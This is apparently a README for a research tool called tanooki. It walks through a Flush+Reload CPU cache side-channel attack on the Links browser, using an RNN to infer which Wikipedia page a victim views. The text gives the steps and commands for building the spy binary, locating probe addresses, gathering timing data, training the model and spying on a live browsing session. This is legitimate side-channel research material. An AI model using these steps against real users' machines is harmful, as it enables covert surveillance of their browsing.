tanooki a cache grabbing tool. This work is an extension of Horby's Side-Channel Attacks on Everyday Applications and is pending publication. This tool goes the next step further and introduced an RNN as the classifier instead of the Levenshtein distance clustering algorithm. Below are the instructions on how to get you started along with some data and some already trained models! Enjoy.
This guide will get you though the code in this repo. It assumes you are running Ubuntu 18.04, but should be relatively similar to any Debian distro. It also assumes you are running this on a vulnerable Intel processor, and not from a type 2 hypervisor (i.e. Virtual Box). Type 1 hypervisors will work just fine, I think, this hasn't been tested fully.
- Version Info
- Clone the repo
- Python deps
- Attacking the Links Browser
➜ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.3 LTS
Release: 18.04
Codename: bionic➜ python
Python 3.7.3 (default, Nov 27 2019, 10:27:28)
[GCC 7.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>git clone https://github.com/ainfosec/tanooki- git
- make
- gcc
- python3
- python3-pip
sudo apt install -y git make gcc python3 python3-pip- numpy
- matplotlib
- tensorflow==1.13.1
- tensorflow-gpu==1.13.1
- cowsay
pip install -r requirements.txtWe will be using the same target as Hornby did for this tutorial. We can't use what's in the apt repo because we need the debug info for the following steps.
Go to the Links download page and grab the source code.
➜ wget http://links.twibright.com/download/links-2.13.tar.gz
➜ tar xvf links-2.13.tar.gzNow compile a Links binary.
➜ cd links-2.13
➜ ./configure
➜ makeCopy the Links binary into the gather_cpu_data/experiments/links/binaries:
➜ cp links gather_cpu_data/experiments/links/binaries/linksCompile the spy binary which implements the actual Flush+Reload side-channel
attack:
➜ cd gather_cpu_data/flush-reload/myversion/
➜ make lib
➜ make
➜ make cleanallWe've already identified some good Flush+Reload probe locations to make the
Wikipedia page distinguishing attack work. They are the first cache lines of the
functions kill_html_stack_item(), html_stack_dup(), html_a(), and
parse_html(). We need to find the addresses of those cache lines.
Run the probe address finding tool to look up the addresses (My probes will likely not be the same as yours):
➜ ./attack_tools.py find-addr ../../experiments/links/binaries/links --probes kill_html_stack_item,html_stack_dup,html_a,parse_html
A:0xbe710
B:0xbedf0
C:0xbe820
D:0xc1f90or
➜ ./attack_tools.py find-addr ../../experiments/links/binaries/links --probe_file ../../experiments/links/probe_names.txt
A:0xbe710
B:0xbedf0
C:0xbe820
D:0xc1f90Save those probe addresses to a file. Copy and paste the output into
gather_cpu_info/experiments/links/binaries/links.probes.
You will need training data to train the model. This is the step where we gather data, alternatively you can run the gather data script.
We wrote a shell script to wrap attack_tools.py
./attack_tools.py gather-data -h
usage: attack_tools gather-data [-h] [--sleep_kill] [--spy_binary]
[--threshold] [--slot]
target_binary input_list probe_file samples
train_dir
positional arguments:
target_binary Path to the binary to target.
input_list Path to list of inputs for run_binary.
probe_file Path to probe file.
samples Number of samples to capture
train_dir Directory to save training info in.
optional arguments:
-h, --help show this help message and exit
--sleep_kill Kill process after N number of seconds (default: 1)
--spy_binary Path to binary to spy on (default spy in cwd)
--threshold Threshold time to determine probe hit (default: 120)
--slot You can think of this is how long your sting will be.
(default: 1024)➜ cd gather_data
➜ mkdir data
➜ ./gather_data.shSamples should have been set to 100, but you will need more than that to train the model. Edit the file and change samples to 100 or more. However, you might want to run it with 10 first just to make sure it works. If it's just not working, one reason could be that the tool can't distinguish between what is and what is not in the cache...
Try this:
cd gather_data/flush-reload/myversion
./attack_tools.py benchYour graph should look something like this...
If not you may not be able to get this code to work for you.
If it does work however, go ahead and edit the gather_data script.
➜ vim ./gather_data.shYour file should look like this.
SAMPLES=100
SYSTEM_USER=$USER
URL_SET='wiki-top-100-of-2013-HTTPS.txt'
TRAIN_DIR='data'
BIN='links'
PROBE='links.probes'
.
.
.This will take a couple hours.
➜ ./gather_data.shCheck your samples to make sure you have collected all your data. We recommend you have as little as possible running on your machine while you gather this data. Higher system loads will impact your accuracy.
➜ cd data/session_02
➜ less 02_SESSION_INFOShould look something like this. This files reads as follows:
sha256_hash_of_url: successes/sample_size : cat /proc/loadavg
b0f40a61f4837fe99f782e3a93b9925c4ba50c2cad456a51a5b09607b2f7f151 : [10/10] : 0.19 0.60 0.49 1/614 12802
253c3bbd2c217c1445573e557725335fd5d16fc06d5701ee7677a900685a3760 : [10/10] : 0.26 0.61 0.49 1/613 12835
c14aedfa65485b662f1afcb612c7b1790c97eff5195be56c10a2bf9ef86c937a : [10/10] : 0.37 0.62 0.50 1/614 12866
871e8731a1002006a096b59772a4826807af7b1acc9a3ac97723854feb2d37bf : [10/10] : 0.47 0.64 0.51 1/614 12917
3b81d0aef0db5a49676e047fa1aed8e2fb3eb9393cd8db59216c1b905cc68886 : [10/10] : 0.59 0.66 0.51 1/614 12950
0179a47d765082b1ab8632a829f2a38e3d07b6bdba0b2536fcf53e25d0f148af : [10/10] : 0.62 0.67 0.52 1/614 12983
.
.
.If any of them read less then 10 out of 10 then you might need to borrow samples form session_01.
If you happen to have a gpu on the machine you gathered your data from, then you can skip this step.
After gathering you training data it needs to be put in a format that TensorFlow can understand. We've written a script that can do this for you.
Note: I renamed session_02 to data-precision-1-100-2013 feel free to choose your own names.
➜ ./data_center.py gen-data -h
usage: data_center gen-data [-h] [--len] [--split] [--spy_data]
target_data output_data
positional arguments:
target_data Path to data to be processes.
output_data Path to output the cleaned data.
optional arguments:
-h, --help show this help message and exit
--len Len of the string to truncate to. (Default to 450 characters)
--split When to split to eval. (Default to .90 train .10 eval)
--spy_data Is this new spy data? (i.e) preparing the data for prediction.➜ cd neural_net
➜ ./data_center.py gen-data ../../data/unclean_new/data-precision-1-100-2013/ ../../data/clean_new/data-precision-1-100-2013/You need to train your model to perform predictions.
➜ ./data_center.py train -h
usage: data_center train [-h] [--epochs EPOCHS] [--keep_training]
[--training_dir] [--checkpoint_dir] [--truncate]
train_file eval_file
positional arguments:
train_file Path to train csv.
eval_file Path to eval csv.
optional arguments:
-h, --help show this help message and exit
--epochs EPOCHS Number or epochs. (default: 20)
--keep_training keep training n number of epochs. (pass in existing
checkpoint_dir)
--training_dir Directory to store training sessions.
--checkpoint_dir checkpoint directory.
--truncate truncate data. (default: None)Make the training directory.
mkdir trainingRun in train mode.
➜ ./data_center.py train ../../data/clean_new/data-precision-1-100-2013/Train.csv ../../data/clean_new/data-precision-1-100-2013/Eval.csvUse use the reset of your session_01 data to evaluate your model.
Need to format this data too. Note: I renamed session_01 to data-precision-1-10-2013 feel free to choose your own names.
➜ ./data_center.py gen-data ../../data/unclean_new/data-precision-1-10-2013/ ../../data/clean_new/data-precision-1-10-2013/ --split 1.0➜ ./data_center.py eval -h
usage: data_center eval [-h] [--hide_results] [--truncate]
metadata_file eval_file checkpoint_dir
positional arguments:
metadata_file Path to metadata.
eval_file Path to eval csv.
checkpoint_dir Path to checkpoint dir.
optional arguments:
-h, --help show this help message and exit
--hide_results Do not print model guess for each url.
--truncate truncate data. (default: None)
➜ ./data_center.py eval ../../data/clean_new/data-precision-1-10-2013/METADATA.csv ../../data/clean_new/data-precision-1-10-2013/EVAL.csv ./training/session_05Now you need some new spy data to test out your new model.
Assuming that your model is good go ahead and try it out.
➜ ./spy -h
Usage: spy -e ELFPATH -t CYCLES -s CYCLES -p PROBE [-p PROBE ...] [-m]
-b, --bench Get cache benchmark and quit.
-e, --elf PATH Path to ELF binary to spy on.
-t, --threshold CYCLES Max. L3 latency. (Default: 120)
-s, --slot CYCLES Slot duration in cycles.
-p, --probe N:0xDEADBEEF Name character : Virtual address.Run the spy tool (again my probes may not be the same as yours)
➜ cd gather_cpu_data/flush-reload/myversion/
➜ ./spy -e ../../experiments/links/binaries/links -s 1024 -p A:0xbe710,B:0xbedf0,C:0xbe820,D:0xc1f90While the spy tool is running open view a wikipedia page. Pick a url from your list.
➜ cd gather_cpu_data/experiments/links/binaries
➜ ./links https://en.wikipedia.org/wiki/Acoustic-electric_guitarTake that output and put it wherever it needs to go. Just make sure to let the data_center know this is spy data.
➜ ./data_center.py gen-data ../../data/unclean_data/spy/ ../../data/clean_spy/ --spy_dataNow that everything is ready, go ahead and predict.
➜ ./data_center.py predict --help
positional arguments:
metadata_file Path to metadata.
predict_file Path to probe csv.
checkpoint_dir Path to checkpoint dir.
optional arguments:
-h, --help show this help message and exit
--truncate truncate data.
--fun the fun way to display data.➜ /data_center.py predict ../../data/clean_data/some_dir/METADATA.json ../../data/clean_spy/Spy.csv ./rnn/training/session_05/Did it work?